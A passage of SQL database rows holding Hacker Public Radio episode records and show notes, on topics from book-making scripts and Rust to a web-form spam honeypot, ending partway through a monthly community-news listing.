(3355,'2021-06-11','Tiki Hell',761,'I talk about my thoughts on outdoor torches','<p>Don\'t buy Tiki anything...</p>\r\n',36,0,0,'CC-BY-SA','outdoor, tiki',0,0,1),
(3367,'2021-06-29','Making books with linux - part 1',3367,'A discussion about assembling books using simple tools commonly found in most linux distros.','<p>Andrew and Dave describe a common itch they have been scratching. Andrew talks through his approach to document creation in this episode and Dave will describe his in the next episode.</p>\r\n<p>Andrew was inspired by a simple and elegant approach to eBook creation by Jon Kulp, possibly from listening to <a href=\"https://hackerpublicradio.org/eps.php?id=1909\">HPR 1909</a> several years ago.</p>\r\n<p>In Andrew\'s approach, bash and python scripts assemble various text files into the book, inserting figures and tables using a simple home-brew tag system to generate reference numbers such as Figure 3.7 or Table 2.2. Such auto-numbering functionality is of course provided by many other document authoring systems, such as LaTeX, but the script also uses the tags to hunt down data in CSV files and convert them into the figures. In this way, nearly all information in the book can start off as text and then be processed into anything — prose, graphics, sound or even movies — that can be included with HTML. Also a clean separation between content and appearance is kept by using a CSS file.</p>\r\n<p>This is not WYSIWYG (what you see is what you get) but using the <em>entr</em> command to monitor file changes can allow auto-generation of the HTML and even a browser refresh (using a feature found in Midori and Falkon but not many other browsers).</p>\r\n<p>Dave describes how he achieves something similar to what Andrew has created by using <em>make</em> to co-ordinate the processing. The process of compiling the source text files into a final document does have some similarities with code compilation.</p>\r\n<p>Dave and Andrew discuss how useful their methods might be to others. Some of Andrew\'s scripts are too bespoke to his use for wider consumption but the figure processing code is available online as part of the content and code of his book <a href=\"https://github.com/mcnalu/howscotlandworks\">How Scotland Works</a>.</p>\r\n<p>Andrew describes the horror of the suggestion that a non-fiction book does not need an index which prompted him to create his simple code to generate an index from a PDF. This was also motivated by laziness and a reluctance to read his own writing for the umpteenth time. Andrew then describes how this code works. The code itself can be found <a href=\"https://github.com/mcnalu/howscotlandworks/tree/master/scripts/index\">here</a>.</p>\r\n<p>Dave brings up the issue of other formats such as epub which have no concept of pages, or at least do not insist on it natively.</p>\r\n<p>The discussion moves on to other tools for document and text processing that are relevant to the tasks involved such as pandoc, LaTex and ASCIIdoc. In particular, Dave mentions that the \"look\" of LaTeX is simpler to control these days, at least as compared to the 1990s!</p>\r\n',268,0,0,'CC-BY-SA','linux,books,ebooks,scripts',0,0,1),
(3359,'2021-06-17','Linux Inlaws S01E32: Politicians and artificial intelligence part 3',2830,'Part 3 of the miniseries on Deep Learning, politicians and other approaches to intelligence (or not)','<p>In part three of the 27.64 episodes long mini-series on artificial intelligences, machine and deep learning\r\nand other hipster topics around machines trying to imitate humans (marketing made us do these :-), our\r\ntwo heroes discuss domain-specific frameworks on top of (more generic) infrastructure like TensorFlow or PyTorch.\r\nAs usual, all will be revealed and no details be spared (apart from a very few) including how to\r\ntell animals apart from humans (a tricky feat as any journalist can tell you who\'s ever faced a\r\nstampeding horde of angry politicians!).</p>\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Keras: <a href=\"https://keras.io\" target=_blank>https://keras.io</a></li>\r\n<li>Image recognition in Keras: <a href=\"https://keras.io/examples/vision/image_classification_from_scratch\" target=_blank>https://keras.io/examples/vision/image_classification_from_scratch</a></li>\r\n<li>Facial recognition using convolutional neural networks (CNN): <a href=\"https://www.sitepoint.com/keras-face-detection-recognition\" target=_blank>https://www.sitepoint.com/keras-face-detection-recognition</a></li>\r\n<li>PETA: <a href=\"https://www.peta.org\" target=_blank>https://www.peta.org</a></li>\r\n<li>User recognition based on mouse movements and deep learning: <a href=\"https://www.acta.sapientia.ro/acta-info/C12-1/info12-1-3.pdf\" target=_blank>https://www.acta.sapientia.ro/acta-info/C12-1/info12-1-3.pdf</a></li>\r\n<li>Comparison of deep learning software: <a href=\"https://en.wikipedia.org/wiki/Comparison_of_deep-learning_software\" target=_blank>https://en.wikipedia.org/wiki/Comparison_of_deep-learning_software</a></li>\r\n<li>Apache\'s mxnet: <a href=\"https://mxnet.apache.org/versions/1.8.0\" target=_blank>https://mxnet.apache.org/versions/1.8.0</a></li>\r\n<li>Classification with deep belief networks: <a href=\"https://www.ki.tu-berlin.de/fileadmin/fg135/publikationen/Hebbo_2013_CDB.pdf\" target=_blank>https://www.ki.tu-berlin.de/fileadmin/fg135/publikationen/Hebbo_2013_CDB.pdf</a></li>\r\n<li>scikit-learn: <a href=\"https://scikit-learn.org/stable\" target=_blank>https://scikit-learn.org/stable</a></li>\r\n<li>Life on Mars: <a href=\"https://www.bbc.co.uk/lifeonmars/index_non_flash.shtml\" target=_blank>https://www.bbc.co.uk/lifeonmars/index_non_flash.shtml</a></li>\r\n<li>Limitless: <a href=\"https://www.imdb.com/title/tt1219289/?ref_=fn_al_tt_1\" target=_blank>https://www.imdb.com/title/tt1219289/?ref_=fn_al_tt_1</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Keras, scitkit-learn, neural networks, Mars, Twix, Limitless, Life',0,0,1),
(3363,'2021-06-23','Electronics podcasts I listen to',319,'I go over the 4 electronics podcasts I am currently listening to.','<h2 id=\"electronics-podcasts\">Electronics podcasts</h2>\r\n<ol type=\"1\">\r\n<li><p>Hackaday podcast</p>\r\n<p>Hackaday Editors take a look at all of the interesting uses of technology that pop up on the internet each week. Topics cover a wide range like bending consumer electronics to your will, designing circuit boards, building robots, writing software, 3D printing interesting objects, and using machine tools. Get your fix of geeky goodness from new episodes every Friday morning.</p>\r\n<p>Ep 117: Chiptunes in an RCA Plug, an Arduino Floppy Drive, $50 CNC, and Wireless Switches</p>\r\n<p><a href=\"https://hackaday.libsyn.com/ep-117-chiptunes-in-an-rca-plug-an-arduino-floppy-drive-50-cnc-and-wireless-switches\" class=\"uri\">https://hackaday.libsyn.com/ep-117-chiptunes-in-an-rca-plug-an-arduino-floppy-drive-50-cnc-and-wireless-switches</a></p></li>\r\n<li><p>Embedded.fm</p>\r\n<p>Embedded.fm is a site dedicated to the many aspects of engineering. We talk about the how, why, and what of engineering, usually devices.</p>\r\n<p>The site includes a weekly audio show created and hosted by Elecia White and Christopher White. Our guests include makers, entrepreneurs, educators, and normal, traditional engineers. The show is a product of Logical Elegance, an embedded software consulting company.</p>\r\n<p>The site also includes a blog written by Elecia White, Christopher White, Andrei Chichak, and Chris Svec.</p>\r\n<p><a href=\"https://embedded.fm/about-us\" class=\"uri\">https://embedded.fm/about-us</a></p>\r\n<p>371: All Martian Things Considered</p>\r\n<p><a href=\"https://embedded.fm/episodes/371\" class=\"uri\">https://embedded.fm/episodes/371</a></p>\r\n<p>The best paper for learning more is from NASA’s JPL site:<br />\r\nThe Mars Science Laboratory Engineering Cameras<br />\r\n<a href=\"https://www-robotics.jpl.nasa.gov/publications/Mark_Maimone/fulltext.pdf\" class=\"uri\">https://www-robotics.jpl.nasa.gov/publications/Mark_Maimone/fulltext.pdf</a></p>\r\n<p>Mars rovers wiki<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Mars_rover\" class=\"uri\">https://en.wikipedia.org/wiki/Mars_rover</a></p>\r\n<p>142: New and Improved Appendages</p>\r\n<p>Sarah is a kinetic artist and some of her projects include a robot army (built your own from parts printed out or purchased at robot-army.com) <a href=\"https://robot-army.com/\" class=\"uri\">https://robot-army.com/</a></p></li>\r\n<li><p>The Amp Hour Electronics Podcast</p>\r\n<p>Dave Jones from the EEVblog in Sydney (Australia), and Chris Gammell from Contextual Electronics in Chicago (USA) discuss the world of electronics design in an hour long(ish) weekly show, recorded “live” without editing or a mute button! We are also joined every other week by guests throughout the electronics industry.</p>\r\n<p>The Amp Hour is a non-scripted off-the-cuff format show that usually airs every Sunday evening US time (recorded earlier in the week). It is the worlds largest and most respected electronics oriented radio show. Discussions range from hobbyist electronics to the state of the electronics industry, components, circuit design, and general on and off-topic rants.</p>\r\n<p><a href=\"https://theamphour.com/about\" class=\"uri\">https://theamphour.com/about</a></p>\r\n<p><a href=\"https://theamphour.com/the-amp-hour-539-the-king-of-trash-with-big-clive\" class=\"uri\">https://theamphour.com/the-amp-hour-539-the-king-of-trash-with-big-clive</a></p>\r\n<p>Youtube channel: bigclivedotcom</p>\r\n<p><a href=\"https://www.youtube.com/user/bigclivedotcom\" class=\"uri\">https://www.youtube.com/user/bigclivedotcom</a></p></li>\r\n<li><p>The Contextual Electronics Podcast</p>\r\n<p>The CE Podcast is a video and audio podcast that posts twice per month. We discuss more than how electronics work and talk to our guests about why they are building them in the first place. we cover topics inside and outside the field of electronics and try to bring more context to the field.</p>\r\n<p>CEP012 – Mixed Media with Becky Stern</p>\r\n<p><a href=\"https://contextualelectronics.com/cep012-mixed-media-with-becky-stern\" class=\"uri\">https://contextualelectronics.com/cep012-mixed-media-with-becky-stern</a></p>\r\n<p>Becky is an artist and content producer who works electronics into projects using a wide variety of media and construction techniques. Becky also teaches a class on electronics at SVA in NYC. She is a product manager at Instructables.</p></li>\r\n</ol>\r\n',318,75,0,'CC-BY-SA','electronics, robots, space exploration, engineering',0,0,1),
(3362,'2021-06-22','Spam Bot Honey Pot: Eating your own dog food',1148,'Reviewing some stats and the accessibility by screen reader of this spam filter method.','<p>\r\nIn this episode, I revisit my spam bot honey pot method of spam detection for \r\nweb forms. The first part of the episode is a response to rtsn comment asking \r\nfor a follow up on how the method worked out. In the second part of the podcast \r\nI use the built-in screen reader of my Pop_OS system to review my test form and \r\nmy work form for audible accessibility and to check that the spam catching URL \r\nfield is not reveled by a screen reader.  \r\n</p>\r\n<p>\r\nFor my work site, I pushed the spam catcher to production on 16 February 2021. \r\nThe total submitted form messages from that day until today, 29 May 2021, is 661.\r\nOf the total submitted, the method identified 527 spam messages, and passed \r\nalong 134 messages. Of those 134, 38 messages were uncaught spam--while the \r\nremaining 96 messages were valid inquiries. Overall, it seems to be doing a \r\ngood job. At one point, I thought about closing down the form, but the data \r\ndoes show we are receiving enough valid messages to make it worth keeping around \r\nand this method makes finding the good messages much easier.\r\n</p>\r\n<p>\r\nDuring the second part of the podcast, I find using a screen reader, like any \r\ntool, takes some practice. It also reveals that making a form audibly accessible \r\ndoes take some care, and should be reviewed with a screen reader. My method \r\nfor hiding the honey pot URL field from the screen reader was effective, but my \r\noverall implementation to make it accessible needs more work.\r\n</p>',293,0,0,'CC-BY-SA','Spam,HTML,Forms,accessibility,screen reader',0,0,1),
(3369,'2021-07-01','Linux Inlaws S01E33: The Return of the Rust',3869,'A show with Steve Klabnik on corroded metal, hipster programming languages and the analogue world','<p>In this episode - aptly named \"The return of the Rust\" our two heroes host\r\na very special guest: no other than Steve Klabnik of Rust fame himself.\r\nNeedless to say, this hipster programming language which is on everbody\'s mind\r\nat the moment (apart maybe from a few lost souls still crying over spilled\r\ncoffee) plays a very important role in this show in addition to the newly\r\nfounded Rust Foundation hosting such eclectic members such as Microsoft,\r\nMozilla, Google and Facebook just to name a few looking after the language.</p>\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Rust: <a href=\"https://www.rust-lang.org\" target=_blank>https://www.rust-lang.org</a></li>\r\n<li>Rust Foundation: <a href=\"https://foundation.rust-lang.org\" target=_blank>https://foundation.rust-lang.org</a></li>\r\n<li>Steve Klabnik: <a href=\"https://steveklabnik.com\" target=_blank>https://steveklabnik.com</a></li>\r\n<li>Ruby on Rails: <a href=\"https://rubyonrails.org\" target=_blank>https://rubyonrails.org</a></li>\r\n<li>PyOxidizer: <a href=\"https://github.com/indygreg/PyOxidizer\" target=_blank>https://github.com/indygreg/PyOxidizer</a></li>\r\n<li>Mercurial: <a href=\"https://www.mercurial-scm.org\" target=_blank>https://www.mercurial-scm.org</a></li>\r\n<li>actix controversy: <a href=\"https://github.com/actix/actix-web/issues/289\" target=_blank>https://github.com/actix/actix-web/issues/289</a></li>\r\n<li>OpenSearch: <a href=\"https://aws.amazon.com/blogs/opensource/introducing-opensearch\" target=_blank>https://aws.amazon.com/blogs/opensource/introducing-opensearch</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Rust, actix, unsafe code, bulleted lists, pubs, OpenSearch',0,0,1),
(3631,'2022-07-04','HPR Community News for June 2022',7033,'HPR Volunteers talk about shows released and comments posted in June 2022','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3608\" target=\"_blank\">3608</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-06-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3608\" target=\"_blank\">Battling with English - part 5</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3609\" target=\"_blank\">3609</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-06-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3609\" target=\"_blank\">Linux Inlaws S01E57: Operating System Level Virtualisation and Martin\'s Faith</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3610\" target=\"_blank\">3610</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-06-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3610\" target=\"_blank\">DOS Wildcards; File Attributes</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3611\" target=\"_blank\">3611</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-06-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3611\" target=\"_blank\">HPR Community News for May 2022</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3612\" target=\"_blank\">3612</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-06-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3612\" target=\"_blank\">Who is Evil Steve? Part 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=405\" target=\"_blank\">Lurking Prion</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3613\" target=\"_blank\">3613</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-06-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3613\" target=\"_blank\">Man buys cheap Adirondack chair</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=399\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3614\" target=\"_blank\">3614</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-06-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3614\" target=\"_blank\">Everything You Always Wanted to Know About PEX Part 02- The Joy of PEX - What is it and how is it us</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=394\" target=\"_blank\">Trey</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3615\" target=\"_blank\">3615</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-06-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3615\" target=\"_blank\">I am a troll and I\'m trolling HPR, trolling HPR, trolling HPR.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3616\" target=\"_blank\">3616</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-06-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3616\" target=\"_blank\">Filling free Slots from the Reserve Queue</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3617\" target=\"_blank\">3617</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-06-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3617\" target=\"_blank\">admin admin S01E05: To Do List - 2FA</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=405\" target=\"_blank\">Lurking Prion</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3618\" target=\"_blank\">3618</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-06-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3618\" target=\"_blank\">The nnn terminal file manager</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3619\" target=\"_blank\">3619</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-06-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3619\" target=\"_blank\">Linux Inlaws S01E58: Kubernetes and Friends and Sarah</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3620\" target=\"_blank\">3620</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-06-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3620\" target=\"_blank\">Photo storage, backups, and workflow</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3621\" target=\"_blank\">3621</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-06-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3621\" target=\"_blank\">Watching YouTube in 2022</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3622\" target=\"_blank\">3622</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-06-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3622\" target=\"_blank\">My Network Setup.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3623\" target=\"_blank\">3623</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-06-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3623\" target=\"_blank\">Internet Security - Child Edition</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=405\" target=\"_blank\">Lurking Prion</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3624\" target=\"_blank\">3624</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-06-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3624\" target=\"_blank\">Everything You Always Wanted to Know About PEX Parts 3 & 4</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=394\" target=\"_blank\">Trey</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3625\" target=\"_blank\">3625</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-06-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3625\" target=\"_blank\">Shell Tips and Snippets - Collaborative Effort</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=380\" target=\"_blank\">Carl</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3626\" target=\"_blank\">3626</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-06-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3626\" target=\"_blank\">The stuff Evil Steve doesn\'t want you to know S01E06: Use a Password Manager</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=405\" target=\"_blank\">Lurking Prion</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3627\" target=\"_blank\">3627</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-06-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3627\" target=\"_blank\">Only Key Duo</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3628\" target=\"_blank\">3628</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-06-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3628\" target=\"_blank\">Building a Mobile Computer Battlestation: Extended Power Supply</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=401\" target=\"_blank\">Mechatroniac</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3629\" target=\"_blank\">3629</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-06-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3629\" target=\"_blank\">Linux Inlaws S01E59: The Show with Red Pandas Mosaic Killers and Metal Corrosion</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 25 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 2 comments on\n2 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3531#comments\" target=\"_blank\">hpr3531</a></strong>\n(2022-02-14) \"<em>Barrier: Software KVM</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=196\" target=\"_blank\">Windigo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3531#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2022-06-30:\n\"Excellent !\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3606#comments\" target=\"_blank\">hpr3606</a></strong>\n(2022-05-30) \"<em>Infinity is just a big number and other proofs</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3606#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2022-06-01:\n\"Not like me\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 23 comments on 10 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3608#comments\" target=\"_blank\">hpr3608</a></strong>\n(2022-06-01) \"<em>Battling with English - part 5</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3608#1\" target=\"_blank\">Comment 1</a>:\nStache_AF on 2022-06-01:\n\"The Eggcorn That Gets Me\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3608#2\" target=\"_blank\">Comment 2</a>:\nWindigo on 2022-06-01:\n\"Eggcorns\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3608#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2022-06-01:\n\"Champing and chomping\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3608#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2022-06-01:\n\"A robot did it and ran away\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3609#comments\" target=\"_blank\">hpr3609</a></strong>\n(2022-06-02) \"<em>Linux Inlaws S01E57: Operating System Level Virtualisation and Martin\'s Faith</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3609#1\" target=\"_blank\">Comment 1</a>:\nMechatroniac on 2022-06-22:\n\"Unite Germany and Russia\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3613#comments\" target=\"_blank\">hpr3613</a></strong>\n(2022-06-08) \"<em>Man buys cheap Adirondack chair</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=399\" target=\"_blank\">dnt</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3613#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2022-06-08:\n\"Adirondack chairs\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3613#2\" target=\"_blank\">Comment 2</a>:\ndnt on 2022-06-08:\n\"Re: Adirondack chairs\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3615#comments\" target=\"_blank\">hpr3615</a></strong>\n(2022-06-10) \"<em>I am a troll and I\'m trolling HPR, trolling HPR, trolling HPR.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3615#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2022-06-10:\n\"Disappointing\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3615#2\" target=\"_blank\">Comment 2</a>:\nFXB on 2022-06-12:\n\"A Troll is a Troll.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3615#3\" target=\"_blank\">Comment 3</a>:\nMechatroniac on 2022-06-13:\n\"fucking bullshit\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3617#comments\" target=\"_blank\">hpr3617</a></strong>\n(2022-06-14) \"<em>admin admin S01E05: To Do List - 2FA</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=405\" target=\"_blank\">Lurking Prion</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3617#1\" target=\"_blank\">Comment 1</a>:\nStache_AF on 2022-06-14:\n\"Google Authenticator\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3617#2\" target=\"_blank\">Comment 2</a>:\nLurking Prion on 2022-06-15:\n\"Google Authenticator Improvements\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3617#3\" target=\"_blank\">Comment 3</a>:\nSome Guy On The Internet on 2022-06-18:\n\"I agree.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3617#4\" target=\"_blank\">Comment 4</a>:\nLurkingPrion on 2022-06-22:\n\"No Security..?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3617#5\" target=\"_blank\">Comment 5</a>:\none_of_spoons on 2022-06-26:\n\"Two factor authentication : \"andOTP\"\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3619#comments\" target=\"_blank\">hpr3619</a></strong>\n(2022-06-16) \"<em>Linux Inlaws S01E58: Kubernetes and Friends and Sarah</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3619#1\" target=\"_blank\">Comment 1</a>:\nSarah on 2022-06-22:\n\"Hello!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3620#comments\" target=\"_blank\">hpr3620</a></strong>\n(2022-06-17) \"<em>Photo storage, backups, and workflow</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3620#1\" target=\"_blank\">Comment 1</a>:\nSome Guy On The Internet on 2022-06-18:\n\"Great Show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3620#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2022-06-18:\n\"Glad I could help\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3621#comments\" target=\"_blank\">hpr3621</a></strong>\n(2022-06-20) \"<em>Watching YouTube in 2022</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3621#1\" 